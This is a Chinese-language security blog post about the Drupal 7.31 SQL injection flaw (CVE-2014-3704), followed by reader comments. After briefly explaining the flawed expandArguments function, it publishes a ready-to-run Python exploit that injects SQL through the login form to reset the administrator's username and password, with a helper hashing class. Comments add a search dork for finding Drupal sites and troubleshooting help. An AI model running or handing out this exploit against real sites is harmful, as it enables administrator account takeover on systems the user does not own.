最近频繁爆发各种0day,真是把大家累坏了。Drupal 7.31 SQL注入漏洞(CVE-2014-3704)就是其中一个,该漏洞利用测试方法“简单粗暴”,受到安全研究者们的青睐。
Drupal Sql注入漏洞原理是酱紫的,Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。
expandArguments函数如下
protected function expandArguments(&$query, &$args) { $modified = FALSE; // If the placeholder value to insert is an array, assume that we need // to expand it out into a comma-delimited set of placeholders. foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); foreach ($data as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate // a duplicate key. We do not account for that as the calling code // is already broken if that happens. $new_keys[$key . '_' . $i] = $value; } // Update the query with the new placeholders. // preg_replace is necessary to ensure the replacement does not affect // placeholders that start with the same exact text. For example, if the // query contains the placeholders :foo and :foobar, and :foo has an // array of values, using str_replace would affect both placeholders, // but using the following preg_replace would only affect :foo because // it is followed by a non-word character. $query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query); // Update the args array with the new placeholders. unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
为了方便大家测试直接上干货(EXP含有攻击性,仅供安全研究和教学,禁止非法使用)
import urllib2,sys from drupalpass import DrupalHash host = sys.argv[1] user = sys.argv[2] password = sys.argv[3] if len(sys.argv) != 3: print "host username password" print "http://nope.io admin wowsecure" hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash() target = '%s/?q=node&destination=node' % host post_data = "name[0%20;update+users+set+name%3d\'" \ +user \ +"'+,+pass+%3d+'" \ +hash[:55] \ +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in" content = urllib2.urlopen(url=target, data=post_data).read() if "mb_strlen() expects parameter 1" in content: print "Success!\nLogin now with user:%s and pass:%s" % (user, password) import hashlib # Calculate a non-truncated Drupal 7 compatible password hash. # The consumer of these hashes must truncate correctly. class DrupalHash: def __init__(self, stored_hash, password): self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' self.last_hash = self.rehash(stored_hash, password) def get_hash(self): return self.last_hash def password_get_count_log2(self, setting): return self.itoa64.index(setting[3]) def password_crypt(self, algo, password, setting): setting = setting[0:12] if setting[0] != '$' or setting[2] != '$': return False count_log2 = self.password_get_count_log2(setting) salt = setting[4:12] if len(salt) < 8: return False count = 1 << count_log2 if algo == 'md5': hash_func = hashlib.md5 elif algo == 'sha512': hash_func = hashlib.sha512 else: return False hash_str = hash_func(salt + password).digest() for c in range(count): hash_str = hash_func(hash_str + password).digest() output = setting + self.custom64(hash_str) return output def custom64(self, string, count = 0): if count == 0: count = len(string) output = '' i = 0 itoa64 = self.itoa64 while 1: value = ord(string[i]) i += 1 output += itoa64[value & 0x3f] if i < count: value |= ord(string[i]) << 8 output += itoa64[(value >> 6) & 0x3f] if i >= count: break i += 1 if i < count: value |= ord(string[i]) << 16 output += itoa64[(value >> 12) & 0x3f] if i >= count: break i += 1 output += itoa64[(value >> 18) & 0x3f] if i >= count: break return output def rehash(self, stored_hash, password): # Drupal 6 compatibility if len(stored_hash) == 32 and stored_hash.find('$') == -1: return hashlib.md5(password).hexdigest() # Drupal 7 if stored_hash[0:2] == 'U$': stored_hash = stored_hash[1:] password = hashlib.md5(password).hexdigest() hash_type = stored_hash[0:3] if hash_type == '$S$': hash_str = self.password_crypt('sha512', password, stored_hash) elif hash_type == '$H$' or hash_type == '$P$': hash_str = self.password_crypt('md5', password, stored_hash) else: hash_str = False return hash_str
测试效果如图
-
Nice
不容错过
- MONSOON APT:印度针对中国和其它周边国家发起的APT攻击clouds2016-08-14
- 对登录中账号密码进行加密之后再传输的爆破的思路和方式yiran48272017-03-03
- 技术分享:渗透Facebook的思路与发现b09200752016-04-25
- WAF产品经理眼中比较理想的WAF兜哥2017-01-22
0daybank
已有 18 条评论
Nice
为了方便大家测试直接上干货(EXP含有攻击性,仅供安全研究和教学,禁止非法使用)
google duck: inurl: drupal
don’t thank me, just call me lighting wind.
转发微博
[傻眼]
lighting wind 亮了。
don’t thank me, just call me lighting wind.
python 又亮了
用的是python几啊?直接运行有错
用python 3.3 运行 报 line 7
print "host username password"
SyntaxError: invalid syntax
@jkjkj 这个是因为python 3的print函数要求加括号,改成print ("host username password")就可以了
是都被搞光了吗?怎么测试一个成功的都没有?
转发微博
中间这一行老是有错误+"’+where+uid+%3d+\’1\’;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
报的是TypeError bool’ object is not subscriptable
没搞明白,是因为这串代码中含有一些与python冲突的关键字吗???
求大神指教
话说还不知道怎么利用呢,直接txt然后改成1.py 然后Python 1.py??求解答啊。。。
没玩过python,求教哇
from drupalpass import DrupalHash
pip install drupalpass 不存在,这个包叫什么